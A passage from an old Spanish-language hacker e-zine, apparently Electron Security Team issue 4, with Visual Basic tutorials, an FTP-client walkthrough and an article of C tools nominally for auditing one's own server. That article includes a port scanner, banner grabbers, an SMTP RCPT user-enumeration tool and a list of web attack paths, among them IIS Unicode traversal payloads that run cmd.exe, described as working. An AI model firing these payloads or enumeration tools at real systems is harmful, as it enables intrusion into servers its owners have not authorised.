haz doble click en el boton, borra lo que sale y escribe lo siguiente:

Private Sub Command1_Click()
Dim a As Variant
a = InputBox("Ingresa tu nombre")
Text1.Text = a
End Sub

Private Sub Form_Load()
Text1.Text = ""
End Sub

Como podemos notar definimos "a" como variante y  como un inputbox (y lo que sea).
Al correr el programa, el inputbox te pregunta por algo y al escribir y  darle ok, 
te muestra en el textbox que  hicimos lo que escribiste. Simple no?. Utilizamos el 
Private Sub Form_Load() para que  apenas se cargara el programa, dejara en  blanco 
al text1.

Ocupemos ahora los "combobox", los cuales nos sirven para elegir alguna opcion de 
las que le pongamos. En un form nuevo, crea un boton y un combobox.
En el codigo del boton escribe lo siguiente:

Private Sub Command1_Click()
If Combo1.Text = "" Then
MsgBox "escoga alguna opcion"
End If
If Combo1.Text = "Irc" Then
MsgBox "irc"
End If
If Combo1.Text = "ftp" Then
MsgBox "ftp"
End If
If Combo1.Text = "mail" Then
MsgBox "mail"
End If
If Combo1.Text = "http" Then
MsgBox "http"
End If


En el codigo de inicio "sub form load" escribe lo siguiente:

Private Sub Form_Load()
Combo1.AddItem "Irc"
Combo1.AddItem "ftp"
Combo1.AddItem "mail"
Combo1.AddItem "http"
End Sub


Lo que hace este programa, es que cuando tu  elijes  alguna opcion del combobox, ya
sea irc, y apretas el boton, te  sale  un  msgbox  diciendo "irc". Lo mismo  sucede
con http, mail etc. Como haz notado para agregar items  al  combobox  se escribe lo
siguiente: combo1.additem "hola"
Siendo "combo1" el nombre del combobox y "hola" lo que se desea agregar. Tambien se
pueden quitar elementos del "combobox" de la siguiente manera: 
Combo1.RemoveItem "hola"
Asi de simple es y muy util son los combobox.


2. Escuchando sonidos.

Veamos como podemos hacer para oir sonidos .wav o mid. Para poder oirlos tendremos
que agregar un control de sonido que se llama "mmcontrol". Para hacerlo tienes que
hacer lo siguiente: anda en el menu a  proyecto y luego a componentes. En el  menu
controles  hazle un  click al Microsoft Multimedia  Control 6.0 y luego  aplicalo. 
Ahora aparecera en  el menu  a tu mano izquierda. Hazle click y ponlo  en el form.
Luego crea tres botones: unos de  play, otro de pause y otro  para stop y  pega el 
siguiente codigo. En el de play haciendole doble click:

MMControl1.DeviceType = "Sequencer" 
MMControl1.FileName = "C:\appz\ss\thefinal.mid" 'directorio donde esta el archivo
MMControl1.Command = "Open"
MMControl1.Command = "Play"

Ahora hazle doble click al boton  y pon lo siguiente:

Private Sub Command3_Click()
  MMControl1.Command = "Stop"
End Sub

Finalmente en el boton de pausa se pone lo siguiente:

Private Sub Command2_Click()
  MMControl1.Command = "Pause"
End Sub

Como notaron, al agregar al form el mmcontrol le habra aparecido en este, y para 
ocultarlo y asi no verlo al ejecutar el programa peguen el siguiente codigo:

Private Sub Form_Load()
MMControl1.Visible = False
End Sub

Ya estamos listos para  ejecutar y  el programa  y escuchar algun  sonido o musica.
Recuerden de cambiar el directorio donde se  encuentra el archivo que  yo puse, por
uno suyo que si  existe  porque sino  no lo van a escuchar. Tambien  podemos  crear
botones para que toquen la  cancion  siguiente o la anterior, por lo que  podriamos
hacer una especie de mulamp con mid o wav.

3. Menu y preguntas de salida.

Vamos ahora  a  hacer  un menu, con  un par de  opciones. Un poco abajo  del boton
de edicion del visual basic, hay un icono que dice "editor de menus". Hazle  click 
y  te aparecera  una  ventana. Escribe "archivo" en el  caption (que es lo que uno
quiere que aparezca en pantalla) y ponle  de  nombre "archi". Al  poner  "ok",  te
aparecera en el form el menu archivo, pero no tendra ninguna opcion mas abajo, por
lo que vuelve al editor de menus, haz  click en siguiente y escribe  en el caption 
"nuevo" y en el nombre "new". Luego  haz click  en el  boton que  tiene una flecha
hacia la derecha, para que este forme parte de "archivo".
Si queremos que al presionar alt+a  o  alt+n nos salgan  las opciones que creamos,
escribe antes del nombre &. O sea, si ponemos &Archivo en el caption, al  ejecutar
el programa y presionas alt+a se nos  aparecera en el menu, en vez  de  tener  que
hacerle click. Ahora cree en el editor de menus una tercera opcion con el  caption
"&salir" y de nombre "exit". Recuerda que tiene que quedar algo asi:

&Archivo
..&nuevo
..&salir

Ahora presiona "Ok" y en el form  hazle click  a "archivo" y luego a "nuevo", para 
poder programar este boton, pero antes crea un textbox en el form.
Ahora pon lo siguiente en el codigo del boton:

Private Sub new_Click()
Text1.Text = ""
End Sub

Supongo que entendieron lo que hicimos?? Bueno, pa los  giles, al hacerle  click en
el menu a "nuevo"; se borrara lo que contenga el  text1, ya que al ejecutar saldra
escrito "text1", por defecto. Ahora anda en el form a archivo y haz click en salir
para poder programar esta opcion. Jugaremos con la salida de esta forma. Al  hacer 
click  en salir, te  preguntara si deseas salir en verdad, con  dos opciones: si o 
no. Asi que si pones si, saldras y si no NO!!!. Veamos el codigo:


Private Sub AS_Click()
Dim Msg, respuesta
Msg = "¿Desea salir?"
respuesta = MsgBox(Msg, vbQuestion + vbYesNo)
Select Case respuesta
Case vbYes
MsgBox "Adios"
End
Case vbNo
MsgBox "No salio"
End Select
End Sub


Como vemos, dependiendo de si una hace  click en  yes o en no, saldremos  o no del 
programa. Esto es muy util a la hora de  guardar cambias si se  trabaja con textos
u otra informacion.

Ahora veamos algunas funciones que son bastantes utiles, como ocultar formularios,
maximizarlos, minimizarlos etc.
En un archivo nuevo crea tres botones: uno  para maximizar, otro  para minimizar y
otro para ocultar. Ahora pega los siguiente en cada boton:


Private Sub maxim_Click()
Form1.WindowState = 2 'el 2 maximiza el form
End Sub

Private Sub min_Click()
Form1.WindowState = 1 'el 1 minimiza el form

End Sub

Private Sub ocu_Click()
Form1.Hide 'se esconde el form
End Sub


Simple, pero es  muy  util en  el  caso de que  keramos hacer algun  screensaver u 
cualquier otro programa.

Veamos ahora como podemos poner el  tiempo en nuestro programa. Para  esto, tenemos
que poner en el form ese reloj "timer" que esta en la barra a mano izquierda. Luego
cree un label y pega el siguiente codigo:

Private Sub Form_Load()
    Timer1.Interval = 1000  'Aca ponemos el intervalo de tiempo
End Sub

Private Sub Timer1_Timer()
    Label1.Caption = Time   ' Asi actualizamos la hora y la pones en el label1
End Sub


Simple, pero provechoso. Vamos a ver algo que tenga que ver mas con la programacion
en si: el famosisimo if-then-else. En un  form nuevo, crea  un boton, y un textbox.
Ahora pega este codigo:


Private Sub Command1_Click()
If Text1.Text = "juan" Then
MsgBox "tu nombre es juan"
Else
MsgBox "tu nombre no es juan"
End If
End Sub

Private Sub Form_Load()
Text1.Text = ""
Command1.Caption = "ok"
End Sub


Al  hacer click  en  salir, te  preguntara si  deseas  salir  en  verdad, con  dos 
opciones: si o Lo que hace  este programa  es que cuando tu  escribes algun nombre
y presionas "ok" te dice que tu nombre no es  juan, pero si  escribes  como nombre  
"juan"  te dice que ese es  tu  nombre. A  algunos les  parecera estupido, pero el 
uso del if-then-else es muy simple y util en la programacion.

Bueno, hasta aca llegamos con este peque~o tutorial, espero que les sea util y ke
los anime a programar en visual basic. Cualquier duda  o sugerencia  o error  que
haya hecho, me la hacen saber a mi mail. Chao y nos vemos.


[=========================([ Electron Security Team ])===========================]



[====([ Shisei Brujo ])====================================================EST-4=]
[====([ Herramientas para el H4cQ ])=========================================#04=]
[===============================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Lo primero, este  no  es  un  curso de programacion, son solo programas que pueden
ayudar  al  trabajo  diario ;) asi  que no se va a explicar como estan echos, sino
solo  lo  que hacen. Para  comenzar  a revisar la seguridad  de nuestro  servidor, 
lo  primero  es  revisar  que  servicios   esta   ofreciendo,  y  ver  cuale s son
realmente necesarios para  dejarlos  abiertos  y  cuales  no. El  primer  programa 
busca  los   puertos  abiertos   en   cierta  maquina. El  programa  e s realmente 
cavernicola,  y   nos   sirve  mas  para  aprender  a   programar que para revisar 
puertos :(  Pero  para  esto  podemos  ocupar excelentes  programas  como  el nmap
( www.insecure.org/nmap/ ).

#include 
#include 
#include 
#include  
#include 
#include 

main(int argc, char *argv[])
{
  int sock;
  struct sockaddr_in cliente;
  struct servent *Descripcion;
  struct hostent *lookup;
  unsigned long addr;
  int puerto;
  if ((argc) != 2)
  {
    printf("Uso: %s \n", argv[0]);
    exit(-1);
  }
  if ((addr=inet_addr(argv[1]))==-1)
  {
    printf("No se pudo encontrar %s\n", argv[1]);
    exit(-11);
  }
  if ((lookup = gethostbyaddr((char *) &addr, sizeof(long), AF_INET)) !=NULL)
    printf("Escaneando a %s\n", lookup->h_name);
  else
    printf("Escaneando a %s\n", argv[1]);
  for(puerto=1;puerto<1000;puerto++)
  { 
    if ((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
    { 
      printf ("Error al crear Socket.\n");
      exit(-1);
    }
    cliente.sin_family = AF_INET;
    cliente.sin_addr.s_addr = inet_addr(argv[1]);
    cliente.sin_port = htons(puerto);
    bzero(&(cliente.sin_zero), 8);
    Descripcion=getservbyport(htons(puerto), "tcp");
    if ((connect(sock, (struct sockaddr*)&cliente, sizeof(cliente))) > -1)
      printf("Puerto %d %s\n", puerto, (Descripcion==NULL)?
      "Sin registro":Descripcion->s_name);
    close(sock);
  } 
}

Ahora que ya sabemos que puertos tiene abiertos, seria bueno saber que version 
son los servicios que ofrecen determinados puertos, como el ftp o el sendmail.
Con el objetivo de buscar ciertas fallas y arreglarlas ( para que no  se metan 
intrusos ;)

#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
main (int argc, char *argv[])
{
  int sock, flags, lee, cont=0;
  char buff[1024];
  struct sockaddr_in client;
  if(argc!=3)
  {
    printf("Uso: %s  \n",argv[0]);
    exit(0);
  }
  sock = socket (AF_INET, SOCK_STREAM, 6);
  client.sin_family = AF_INET;
  client.sin_port = htons(atoi(argv[2]));
  client.sin_addr.s_addr = inet_addr(argv[1]);  
  bzero(&(client.sin_zero), 8);
  connect (sock, (struct sockaddr *)&client, sizeof(client));
  flags=fcntl(sock, F_GETFL);
  fcntl(sock, F_SETFL, flags | O_NONBLOCK);
  while(cont<200000)
  {
    lee=read(sock, buff, sizeof(buff));
    if(lee==-1)
      if(errno!=EAGAIN)
        return;
    if(lee==0)
     return;
    if(lee>0)
    {
      printf("%s", buff);
      bzero(buff, 1024);
    }
    cont++;
  }
  close(sock);
}

Ahora para el puerto 80, no se puede  ver la version  con el programa anterior, 
asi que mejor utilizamos el siguiente  programa  que  nos  mostrara  datos  muy 
utiles a la hora de encontrar fallos ;)

#include 
#include 
#include 
#include 
#include 

main(int argc, char *argv[])
{
	int sock;
	char buff[1024];
	struct sockaddr_in client;
	if(argc!=2)
	{
		printf("Uso: %s \n",argv[0]);
		exit(0);
	}
	sock = socket (AF_INET, SOCK_STREAM, 0);    
	client.sin_family = AF_INET;
	client.sin_port = htons(80);               
	client.sin_addr.s_addr = inet_addr(argv[1]);  
	bzero(&(client.sin_zero), 8);
	connect (sock, (struct sockaddr *)&client, sizeof(client));
	send (sock, "HEAD / HTTP/1.0\n\n",17,0);
	recv (sock, buff, sizeof(buff),0);
	printf("\n%s\n", buff);
	close (sock);
	return(0);
}

Y seguimos, ufff! el siguiente programa nos sirve para encontrar bugs conocidos 
en el puerto 80 de nuestro servidor. Ya sea las conocidas fallas del IIS, o del
CGI. o etc, etc. Estos bugs  tienen que  estar guardados  en un archivo  de  la 
forma:

/?PageServices
/cgi-bin/Count.cgi
/cgi-bin/test-cgi
/cgi-bin/perl.exe 
/cgi-bin/jj  
/_vti_inf.html 
/....../config.sys 
/....../etc/hosts 
/cgi-bin/dnewsweb 
/piranha/secure/passwd.php3 
/scripts/cart32.exe/cart32clientlist 
/scripts/c32web.exe/ChangeAdminPassword 
/scripts/dbman/db.cgi?db=invalid-db
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

( estos funcionan ;)
y luego el archivo se lo pasas como parametro al programa.


#include 
#include 
#include 
#include 
#include 

main (int argc, char *argv[])
{
  FILE *Archivo;
  char buff[1024], entrada[1024], recivido[20], *resultado;
  struct sockaddr_in client;
  int sock;
  if(argc!=3)
  {
    printf("Uso: %s  \n", argv[0]);
    exit(-1);
  }
  if((Archivo=fopen(argv[2], "r"))==NULL)
  {
    printf("Error leyendo archivo %s\n", argv[2]);
    exit(-1);
  }
  while(fscanf(Archivo, "%s", entrada)!=EOF)
  {
    sprintf(buff, "GET %s HTTP/1.0\n\n", entrada);
    if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
    {
      printf("Error creando socket\n");
      exit(-1);
    }
    client.sin_family=AF_INET;
    client.sin_port=htons(80);
    client.sin_addr.s_addr=inet_addr(argv[1]);
    bzero(&(client.sin_zero), 8);
    if(connect(sock, (struct sockaddr*)&client, sizeof(client))!=0)
    {
      printf("Error conectando\n");
      return;
    }
    send(sock, buff, strlen(buff), 0);
    recv(sock, recivido, sizeof(recivido), 0);
    resultado=strstr(recivido, "200");
    if(resultado!=NULL)
      printf("%s\n", entrada);
    close(sock);
  }
  fclose(Archivo);
}
 
El siguiente programa  trata  de encontrar algunos logins a  traves del puerto
sendmail. a traves del comando "rcpt" es muy util en algunos casos  cuando  el
puerto finger esta cerrado y no  se  tiene idea  de  que  usuarios se  podrian
encontrar en algun servidor.
Igual que  el  programa  anterior, hay  que  tener un  archivo  con nombres de 
usuarios de la forma

test
guest
pedro
admin
ftp

y luego el nombre del archivo se pasa como parametro al programa.


#include 
#include 
#include 
#include 

int main (int argc, char **argv)
{
  struct sockaddr_in server;
  struct hostent *host;
  int sock;
  FILE *Entrada;
  char helo[]="helo mail\r\n";
  char mail[]="mail from: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 \r\n";
  char rcpt[100];
  char buff[1024];
  char name[1024];

  if(argc!=3)
  {
     printf("\nUso: %s  \n\n", argv[0]);
     exit(0);
  }
  if((host=gethostbyname(argv[1])) == NULL)
  {
    printf ("Error en nombre de host %s\n", argv[1]);
    exit(1);
  }
  if((Entrada = fopen(argv[2], "r")) == NULL)
  {
    printf("Error leyendo %s\n", argv[2]);
    exit(1);
  }
  if((sock=socket (AF_INET, SOCK_STREAM, 0)) == -1)
  {
    printf("Error creando socket");
    exit(1);
  }
  server.sin_family = AF_INET;
  server.sin_port = htons (25);
  server.sin_addr.s_addr = *(u_long *) host->h_addr;
  bzero (&(server.sin_zero), 8);
  
  if(connect(sock, (struct sockaddr *) &server, sizeof(struct sockaddr))==-1)
  {
    printf ("Coneccion rechazada\n");
    exit(1);
  }

  send (sock, helo, strlen (helo), 0);
  send (sock, mail, strlen (mail), 0);

  while(fscanf(Entrada, "%s", name)!=EOF)
  {
    bzero(buff, 1024);
    sprintf(rcpt, "rcpt to:%s\r\n",name);
    send(sock, rcpt, strlen (rcpt), 0);
    recv(sock,buff, sizeof(buff),0);
    if((strstr(buff, "Recipient"))!=NULL)
      printf("%s", buff);
  }
  close (sock);
  fclose(Entrada);
}

Finalmente un programa que  nos sirve para  detectar si nos  estan tratando de
hackear, el programa  espera  en  un  puerto determinado, y al momento  de que
traten  de hacer  una  coneccion  envia  un mensaje con la  direccion  ip  del
atacante. El programa no es de  los mejores, y no  garantiza nada, pero  sirve
para ver cuando te esta molestando, y que el cazador pase a cazado ;)

#include 
#include 
#include 
#include 
#include 
#include 
#define PORT 23
main ()
{ 
  int x, soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  char buf[1024];
  struct sockaddr_in serv_addr; 
  struct sockaddr_in client_addr;
  if((soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1)
    exit(-1); 
  bzero((char *) &serv_addr, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET; 
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(PORT);
  if((soc_rc=bind(soc_des, (struct sockaddr *)&serv_addr,
  sizeof(serv_addr)))!=0)
    exit(-1); 
  if (fork()!=0)
    exit(0); 
  setpgrp(); 
  signal(SIGHUP, SIG_IGN);
  if (fork()!=0) 
    exit(0);
  if((soc_rc = listen(soc_des, 5))!=0)
    exit(0); 
  while (1) 
  { 
    soc_len = sizeof(client_addr);
    if((soc_cli=accept(soc_des, (struct sockaddr *)&client_addr,&soc_len))<0)
      exit(0); 
    cli_pid = getpid(); 
    if((server_pid= fork())!=0)
    {
      sprintf(buf, "\nhey! nos atacan desde %s",
      inet_ntoa(client_addr.sin_addr));
      execl("/bin/echo", "echo", buf, NULL);
      close(soc_cli);
      exit(0);
    } 
    close(soc_cli);
  }
}

Todos estos programas fueron desarrollados en maquinas con linux, para
compilar:

# gcc -o  

y luego

#./ 

Consultas <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >


[=========================([ Electron Security Team ])===========================]




[====([ bankzide ])========================================================EST-4=]
[====([ Construyendo Un Cliente FTP en Visual Basic ])=======================#05=]
[==========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Hola  de nuevo, aqui bankzide escribiendo para  EST 4. Despues de mucha flojera de
parte  de todos los grupos under chilenos en general, no podemos dejar el trabajo,
mucho IRC  y PHP Nuke y de los articulines, ¿?Por eso nos pusimos las pilas y aqui
vamos. Yo ya he  escrito un articulo de introduccion basica a Visual Basic (VB) en
EST 2, por lo que ahora no escribire la continuacion  del curso, sino que usos que
se le pueden dar a lo aprendido, por lo que en este articulo  no me voi a  parar a
explicar cada detalle de lo que se  este  haciendo. Como  lo habran  notado en  el
titulo, vamos a programar en Windows y para Windows un cliente FTP grafico, bueno,
jeje con opciones limitadas, no pesa  mas de 50kb, pero me quedo bonito xD. Total,
la gracia aqui es que aprendan un poco a interactuar con Internet a traves del VB.
 Bueno, vamos a lo nuestro.

* Para la construccion, personalmente ocupe el VB 6.0 Spanish, por lo k recomiendo
esa version *

Para empezar vamos a ocupar un solo formulario bajo un proyecto Exe estandar. Este
se constituira de:

	- 5 TextBox
	- 3 CommandButtons
	- 1 ListBox
        - 7 Labels
        - Componente Inet (Invisible)

Por ahora, este cliente solo permitira la descarga de archivos desde un FTP hacia
el HD. Tambien permitira elegir la  ubicacion  de descarga y listara los archivos 
remotos. La ubicacion de los objetos  en el Form  es a eleccion  del autor. Los 7
Labels mencionados anteriormente  no  influyen  internamente en el programa, sino 
que son ayuda grafica para el uso de este. Esto se explica mejor si ven el dise~o
que le hize yo al Form (Incluidos en la zine, en el dir /ftpclnt/ esta el .vbp el
unico .frm su .frx y el logo de Est), por  lo  que  no  explicare la construccion
de los labels xD.
	
Los 5 TextBox van a  tener  un  uso  de "variables", ya que adquiriran un valor y 
seran llamados en las ejecuciones, que son "Conectar" y "Nuevo Host". 
Primeramente son 4 los TextBox que usaremos antes  de  Conectar. Si  la  conexion 
esta establecida, el quinto TextBox (txtCopy) sera Enabled = True, en  el cual se
escribira el nombre o directorio  en el  cual el archivo remoto sera  descargado. 
Continuando con los 4 primeros los definiremos de ls siguientes formas:

- txtHost     : Aqui ira el Host de la FTP (IP o Dns)
- txtPuerto   : Por defecto deje puesto el 21 en el "Text", para  cada vez que se
                lodee el programa.
- txtUsuario  : El Username que se le mandara al Host. Si es de  entrada Anonimo,
                escribir "anonymous".
- txtPassword : La Pass. Si es de entrada anonymous, poner  una  casilla  email o 
                dependiendo del  Server,  cualquier  cosa. En  sus  Properties en 
                PasswordChar le puse * , se dan cuenta para que, no?


El componente  Inet es el que  nos abre los protocolos  para "interactuar" con la 
red. Este, aunque en el formulario es  visible, no lo  es  en la  ejecucion. Este
debe ser puesto en  el  Form. Para  acceder  a  Inet,  hay  que  ir a Proyecto ->
Componentes e instalar "Microsoft Internet Transfer Control 6.0". Una  vez puesto
Inet en el Form hay que darle un  nombre. Por  defecto  viene  con  Inet1 y yo lo 
deje asi. En sus  propiedades, hay  que definir ciertas  cosillas. En  AccessType
hay que ponerlo en "1 - icDirect". En  Protocol hay que seleccionar "2 - icFTP" y
en RemotePort  ponerlo en 21, aunque  esto no  influira  ya que el "txtPuerto" le
dara el valor final a eso.
	
El Listbox es un  objeto que nos  mostrara los  archivos que  se encuentran en el 
Host. A este lo llame lstArchivos. Con la ejecucion de  un "Doble Click" sobre el
archivo en el ListBox, este se  descargara  hacia  la  ruta  especificada  en  el 
txtCopy.

Por ultimo, tenemos los 3 CommandButtons :

- cmdConectar  : Este  boton  es  el  que hace practicamente todo a la entrada al 
                 server. Requiere de que los campos de los txt's que llame tengan
                 datos validos, o sino habra error.
- cmdNuevoHost : Este basicamente borra campos para establcer una nueva conexion.
- cmdSalir     : Salida Inmediata del Programa.

        

Ya explicado el uso que se le daran a los objetos, empezare  por explicar todo el
funcionamiento del programa empezando por el boton "cmdConectar". Todo comentario
extra al codigo ira en comentario ' VB.

---------------------------
Inicio Codigo cmdConectar :
---------------------------

-------------------------------------------------------------------------

Private Sub cmdConectar_Click()   
'Solo Un Click

'Aqui dejamos activos estos objetos, ya que solo ahora nos serviran, Obvio.

lstArchivos.Enabled = True
txtCopy.Enabled = True
cmdNuevoHost.Enabled = True

'Aqui al reves que el comentario anterior ya que dejamos inactivos los campos
'que no deberiamos tocar

cmdConectar.Enabled = False
txtHost.Enabled = False
txtPuerto.Enabled = False
txtUsuario.Enabled = False
txtPassword.Enabled = False

On Error GoTo errorhandler    
'Aqui manejamos los errores que se pueden presentar en el proceso
'Llama a la funcion "errorhandler"

Dim varList As Variant        
'Definimos varList como una variable de tipo Variant

  With Inet1  
'Usando Inet1
                
   .URL = txtHost.Text
   .RemotePort = txtPuerto.Text
   .UserName = txtUsuario.Text
   .Password = txtPassword.Text

'Si bien antes habiamos definido el tipo de protocolo y el AccessType, como ven
'aqui igualamos los datos que deberian haber sido ingresados en los respectivos
'TextBox

   .Execute , "DIR"

'El comando "Execute" nos permite tirar comandos propios del Protocolo FTP
      
   varList = .GetChunk(1024)

'La variable varList recibe valor

   subMostrarFiles (varList)

'Mandamos el valor de varList a la funcion subMostrarFiles
  End With

  
errorhandler:
'Aqui deberiamos llegar si se hubiera presentado error
 
Select Case Err.Number
 
  Case 35764        
'Aun ejecuta el ultimo comando
  
 DoEvents
 Resume
 End Select

'Llama a resumir eventos que pudieran estar pegados

End Sub


-------------------------------------------------------------------------

Ahora veremos el codigo de la funcion subMostrarFiles que se llama con el
valor de varList :

-------------------------------------------------------------------------

Public Sub subMostrarFiles(var As Variant)

  Dim strArreglo() As String
  Dim Num As Integer

'Definimos 2 variables nuevas, Num de tipo entera y strArreglo de caracteres

   lstArchivos.Clear   'Limpiamos el ListBox
   
   strArreglo = Split(CStr(var), Chr(13) & Chr(10))

   lstArchivos.AddItem ("../") 'Para subir de directorio en boxes que no sean Unix
   For Num = 0 To UBound(strArreglo)
      lstArchivos.AddItem (strArreglo(Num))
   Next
 
'Un ciclo "For" hasta que llegue al tope de los archivos
'Va agregando Items al lstArchivos   

End Sub

-------------------------------------------------------------------------

Con esto ya deberiamos tener la lista de archivos en el  ListBox. Para iniciar
la descarga, hay que efectuar Doble Click en el ListBox. Vamos ahora al codigo
de esta accion:

-------------------------------------------------------------------------

Private Sub lstArchivos_DblClick()
On Error GoTo errorhandler

Dim arch As String   'Nueva variable arch de tipo caracter

MousePointer = vbHourglass   

'Pusimos el pointer del mouse en el relojito de arena, para simular descarga

With Inet1
If (Left(lstArchivos.Text, 2) = "./" Or Left(lstArchivos.Text, 3) = "../" Or Right(lstArchivos.Text, 1) = "/") Then

'Aqui vemos si se clickeo en ./ o ../ o /, entonces ejecuta cd "el_texto" y despues "DIR" 

   .Execute , "cd " & lstArchivos.Text
   .Execute , "DIR"
   subMostrarFiles (.GetChunk(1024))

'Nueva lista de archivos
   
 Else       'Si el click es en un archivo
    arch = subNomExit
   .Execute , "get " & lstArchivos.Text & " " & arch

'Aqui seria " get el_archivo_clickeado nombre_de_salida

   .Execute , "pwd"  'Forzando error de tranque

   MsgBox "Descarga Completa!"
   End If
End With

MousePointer = vbDefault 'Mouse Normal

errorhandler:
   Select Case Err.Number
   Case 35764        ' Igual ejecuta el ultimo comando
   DoEvents
   Resume
   End Select
End Sub

-------------------------------------------------------------------------

Veamos ahora la funcion subNomExit que es la que  determina el nombre o 
directorio el archivo sera descargado

-------------------------------------------------------------------------

Private Function subNomExit() As String

'Si el texto tiene como "\" en su derecha, entonces agrega al txtCopy.Text, 
'el nombre del archivo en el ListBox

 If Right(txtCopy.Text, 1) = "\" Then
   subNomExit = txtCopy.Text & lstArchivos.Text

'Si tuviera ":", (pj. c: ) le agrega "\" mas el nombre del archivo en el ListBox. 

 ElseIf Right(txtCopy.Text, 1) = ":" Then
   subNomExit = txtCopy.Text & "\" & lstArchivos.Text

'Si no se ha ingresado nada en el txtCopy.Text,  entonces lo  descargara al 
'directorio desde donde se ejecuto el cliente con el nombre correspondiente
'al ListBox

 ElseIf txtCopy.Text = "" Then
   subNomExit = lstArchivos.Text

'Y por ultimo, si no cumple ninguna de las tres anteriores, se decargara al
'dir desde donde se ejecuto el cliente con el nombre puesto en el txtCopy.

 Else
   subNomExit = txtCopy.Text
 End If
 
End Function

-------------------------------------------------------------------------

Codigo cmdNuevoHost:

-------------------------------------------------------------------------

Private Sub cmdNuevoHost_Click()

'Dejamos enabled los objetos necesarios para una nueva conexion

txtHost.Enabled = True
txtPuerto.Enabled = True
txtUsuario.Enabled = True
txtPassword.Enabled = True
cmdConectar.Enabled = True

'Bloqueamos los innesesarios y limpiamos el texto del Password y del 
'txtCopy, como tambien el ListBox

cmdNuevoHost.Enabled = False
lstArchivos.Enabled = False
txtCopy.Enabled = False
txtPassword.Text = ""
txtCopy.Text = ""
lstArchivos.Clear
End Sub

-------------------------------------------------------------------------

Y por ultimo, el codigo mas simple para el boton cmdSalir que lleva a la
salida inmediata del programa:

-------------------------------------------------------------------------

Private Sub cmdSalir_Click()
Unload Me
End
End Sub

-------------------------------------------------------------------------

Ojala que con las explicaciones haya quedado claro  y ojala  que hayan
aprendido el uso de Inet en VB y algunas de sus funciones. Aqui les voi
a pegar el codigo mas ordenado para que lo puedan observar mejor :	

-------------------------------------------------------------------------

Option Explicit

Private Sub cmdConectar_Click()
lstArchivos.Enabled = True
txtCopy.Enabled = True
cmdNuevoHost.Enabled = True
cmdConectar.Enabled = False
txtHost.Enabled = False
txtPuerto.Enabled = False
txtUsuario.Enabled = False
txtPassword.Enabled = False

On Error GoTo errorhandler
Dim varList As Variant

  With Inet1
   .URL = txtHost.Text
   .RemotePort = txtPuerto.Text
   .UserName = txtUsuario.Text
   .Password = txtPassword.Text
   .Execute , "DIR"
      
   varList = .GetChunk(1024)
   subMostrarFiles (varList)
  End With
  
errorhandler:
 Select Case Err.Number
  Case 35764
   DoEvents
   Resume
 End Select
End Sub

Private Sub cmdNuevoHost_Click()
txtHost.Enabled = True
txtPuerto.Enabled = True
txtUsuario.Enabled = True
txtPassword.Enabled = True
cmdConectar.Enabled = True
cmdNuevoHost.Enabled = False
lstArchivos.Enabled = False
txtCopy.Enabled = False
txtPassword.Text = ""
txtCopy.Text = ""
lstArchivos.Clear
End Sub

Private Sub cmdSalir_Click()
Unload Me
End
End Sub

Public Sub subMostrarFiles(var As Variant)

  Dim strArreglo() As String
  Dim Num As Integer
   lstArchivos.Clear
   
   strArreglo = Split(CStr(var), Chr(13) & Chr(10))
   lstArchivos.AddItem ("../")
   For Num = 0 To UBound(strArreglo)
      lstArchivos.AddItem (strArreglo(Num))
   Next
End Sub



Private Sub lstArchivos_DblClick()
On Error GoTo errorhandler

Dim arch As String

MousePointer = vbHourglass

With Inet1
 If (Left(lstArchivos.Text, 2) = "./" Or Left(lstArchivos.Text, 3) = "../" Or Right(lstArchivos.Text, 1) = "/") Then
   
   .Execute , "cd " & lstArchivos.Text
   .Execute , "DIR"
   subMostrarFiles (.GetChunk(1024))
   
 Else
    arch = subNomExit
   .Execute , "get " & lstArchivos.Text & " " & arch
   .Execute , "pwd"
   MsgBox "Descarga Completa!"
   End If
End With

MousePointer = vbDefault

errorhandler:
   Select Case Err.Number
   Case 35764
   DoEvents
   Resume
   End Select
End Sub

Private Function subNomExit() As String

 If Right(txtCopy.Text, 1) = "\" Then
   subNomExit = txtCopy.Text & lstArchivos.Text
 ElseIf Right(txtCopy.Text, 1) = ":" Then
   subNomExit = txtCopy.Text & "\" & lstArchivos.Text
 ElseIf txtCopy.Text = "" Then
   subNomExit = lstArchivos.Text
 Else
   subNomExit = txtCopy.Text
 End If
 
End Function

-------------------------------------------------------------------------

Por ultimo, para los que no tienen el Visual Basic y le quieren hechar una
mirada al trabajo final (compilado en .exe) probablemente estara en la web
(www.est.cl). Para la  ejecucion, si  es  que  no tienen  instalado VB, se 
necesita el  siguiente  archivo "msinet.ocx" que lo  deberian  poner en el 
directorio  System   de   Windows. Probablemente  tambien  incluiremos  el
"msinet.ocx" en la web.

Se despide, bankzide


 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


[=========================([ Electron Security Team ])===========================]




[====([ Reox ])============================================================EST-4=]
[====([ Introduccion a la Programacion ])====================================#06=]
[=======================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Introduccion

Hola, este es el segundo texto que escribo para una e-zine, y con estos pretendo
ayudar tanto a inexpertos, como a gente que ya tenga algun conocimiento, ya  que
nunca esta demas definir conceptos y revisar  los conocimientos  basicos como de
los que tratan mis textos. Mas que de  seguridad  informatica mis textos  son de 
"informatica", ya que no se puede conocer Roma sin tomar algunos de los caminos.

Este articulillo es una breve introduccion a la programacion, la herramienta mas
